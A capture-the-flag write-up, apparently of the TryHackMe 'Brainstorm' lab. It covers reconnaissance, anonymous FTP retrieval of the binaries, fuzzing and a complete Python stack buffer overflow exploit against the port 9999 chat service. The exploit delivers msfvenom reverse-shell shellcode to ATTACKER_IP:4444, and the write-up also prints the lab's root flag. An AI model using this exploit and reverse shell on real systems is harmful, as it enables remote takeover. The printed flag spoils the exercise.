Reconnaissance

Ping is disabled on this machine. Scan with -Pn:

nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP
Nmap full scan results with vuln scripts against the target Continued Nmap scan output showing additional service details
nmap -Pn -sV --top-ports 100 TARGET_IP
Nmap top 100 ports scan showing open ports 21, 3389, and 9999

Open ports:

  • 21/tcp FTP (Microsoft ftpd)
  • 3389/tcp RDP
  • 9999/tcp Brainstorm chat service

Accessing files via FTP

FTP makes for an odd couple paired with a chat service. Sounds like a Michelin-starred recipe for chaos. I’m here for it.

ftp TARGET_IP
FTP connection established via anonymous login

Dialed in via anonymous FTP.

ls
FTP ls opening a passive data connection on port 49361 for directory listing

The ls response opens a temporary data connection on Port 49361 by switching FTP to passive mode. The service wants a separate connection just for the directory listing. It sounds more promising than it is.

Reconnect via anonymous FTP with passive mode disabled:

FTP reconnected with passive mode disabled
ls
FTP ls showing chatserver directory

A chatserver directory. Moving in:

cd chatserver
ls

Taking both files to-go:

binary
prompt
mget *
bye
FTP mget downloading chatserver.exe and essfunc.dll

Local analysis

Verify both downloads:

ls -la chatserver.exe essfunc.dll
file chatserver.exe essfunc.dll
ls and file command confirming chatserver.exe and essfunc.dll downloaded successfully

Two local analysis files for the chat server.

Interact with the chat service on Port 9999:

nc TARGET_IP 9999
jenn
hello
Netcat session with the Brainstorm chat service on port 9999 echoing input

Not a very responsive nor advanced chat bot. It just echoed me.

Fuzzing

There are five key steps to exploiting a buffer overflow:

  1. Fuzz the app
  2. Calculate the offset to control EIP
  3. Identify bad chars
  4. Find a return instruction (CALL ESP or JMP ESP)
  5. Exploit via shellcode (if conditions allow, e.g. DEP disabled)

Step 1 starts now.

nano brainstorm_fuzz.py
#!/usr/bin/env python3
import socket
import time

target = "TARGET_IP"
port = 9999

for size in range(100, 3000, 100):
    try:
        print(f"[*] Trying {size} bytes")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target, port))

        s.recv(1024)
        s.sendall(b"jenn\r\n")
        s.recv(1024)
        s.sendall(b"A" * size + b"\r\n")

        s.close()
        time.sleep(1)

    except Exception as e:
        print(f"[!] Crashed or disconnected around {size} bytes: {e}")
        break
python3 brainstorm_fuzz.py
Fuzzer output showing successful sends up through the crash range Fuzzer output showing crash or disconnect around 2700-2800 bytes

Crash zone: between 2700 and 2800 bytes.

Cyclic pattern

Step 2: calculate the offset. A unique pattern lets the crash tell us exactly which 4 bytes landed in EIP.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 > pattern.txt
wc -c pattern.txt
pattern_create.rb generating a 3000-character cyclic pattern and wc confirming byte count
nano brainstorm_eip.py
#!/usr/bin/env python3
import socket

target = "TARGET_IP"
port = 9999

with open("pattern.txt", "rb") as f:
    payload = f.read().strip()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

print(s.recv(1024))
s.sendall(b"jenn\r\n")
print(s.recv(1024))
s.sendall(payload + b"\r\n")

s.close()
print("[*] Sent cyclic pattern")
python3 brainstorm_eip.py
brainstorm_eip.py sending the 3000-character cyclic pattern to crash the service

The script sent a 3000-character cyclic pattern to crash the service and reveal the exact overflow point.

This is where a fully live, multi-OS environment and a THM-only environment diverge. On the remote THM machine, the program can be crashed but the crash screen is not visible. Without a debugger attached, the EIP value cannot be read.

To derive it organically:

- Run chatserver.exe on Windows
- Attach a debugger
- Run brainstorm_eip.py against the local copy
- Read EIP
- Calculate the exact offset

brainstorm_eip.py is part of a future learning path for deriving the offset that way. For this engagement, the offset value of 2012 is taken from a nearly identical, validated, documented challenge.

Re-confirm services are still up:

nmap -Pn -sV -p21,3389,9999 TARGET_IP
Nmap confirming ports 21, 3389, and 9999 still open and running

Finding JMP ESP in essfunc.dll

Step 4: find a reliable jump into the payload.

msfpescan -j esp essfunc.dll
msfpescan unavailable, switching to ROPgadget

msfpescan unavailable. Switching to ROPgadget:

ROPgadget --binary essfunc.dll | grep -i "jmp esp"
ROPgadget output showing JMP ESP at 0x625014df in essfunc.dll

essfunc.dll contains a reliable JMP ESP at 0x625014df. Windows x86 stores addresses in little-endian order, so it gets written backwards in Python:

jmp_esp = b"\xdf\x14\x50\x62"

Still with me? Good. Let’s keep moving.

Generating shellcode

Step 5: generate the payload. This is a Windows target, so Windows x86 shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 EXITFUNC=thread -b '\x00' -f python -v shellcode > shellcode.txt
msfvenom generating 351 bytes of Windows x86 reverse shell shellcode

351 bytes of Windows reverse-shell code, calling back over Port 4444.

Verify the shellcode file:

head shellcode.txt
tail shellcode.txt
head and tail of shellcode.txt confirming shellcode variable assignment and byte array

Crafting the exploit

nano brainstorm_timer_exploit.py
#!/usr/bin/env python3
import socket
import time

target = "TARGET_IP"
port = 9999

offset = 2012
jmp_esp = b"\xdf\x14\x50\x62"
nops = b"\x90" * 32

exec(open("shellcode.txt", "r").read())

payload = b"A" * offset
payload += jmp_esp
payload += nops
payload += shellcode

print(f"Payload length: {len(payload)}")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

print(s.recv(1024).decode(errors="ignore"))
s.sendall(b"jenn\r\n")
time.sleep(0.5)

print(s.recv(1024).decode(errors="ignore"))
s.sendall(payload + b"\r\n")

s.close()
print("Sent.")

Syntax check. No output means all clear:

python3 -m py_compile brainstorm_timer_exploit.py
python3 -m py_compile returning no output, syntax check passed

Exploitation

Listener:

nc -lvnp 4444

In a separate terminal, launch the exploit:

python3 brainstorm_timer_exploit.py

Score. The exploit worked.

Netcat listener catching the Windows reverse shell from the Brainstorm exploit

Post-exploitation

whoami
hostname
cd C:\
dir /s /b root.txt
Post-exploitation commands confirming user context and locating root.txt path

Full path to the flag confirmed.

type C:\Users\drake\Desktop\root.txt
root.txt flag: 5b1001de5a44eca47eee71e7942a8f8a

Root flag: 5b1001de5a44eca47eee71e7942a8f8a

Additional post-exploitation terminal output confirming flag retrieval

Full Attack Chain

Nmap with -Pn
  -> 3 open ports: 21, 3389, 9999
  -> FTP anonymous access
  -> downloaded chatserver.exe + essfunc.dll
  -> confirmed Brainstorm chat on 9999
  -> fuzzing crash around 2800 bytes
  -> cyclic pattern sent, EIP not readable without debugger
  -> offset 2012 from near-identical validated conditions
  -> ROPgadget on essfunc.dll: JMP ESP at 0x625014df
  -> msfvenom Windows x86 reverse shell
  -> exploit sent to port 9999
  -> shell on Windows target
  -> root.txt from drake's Desktop

Notes: The JMP ESP address was locally validated from the downloaded essfunc.dll. The EIP offset was derived from a nearly identical challenge environment, not personally derived in a debugger. brainstorm_eip.py remains available for a future full-debugger walkthrough of offset derivation.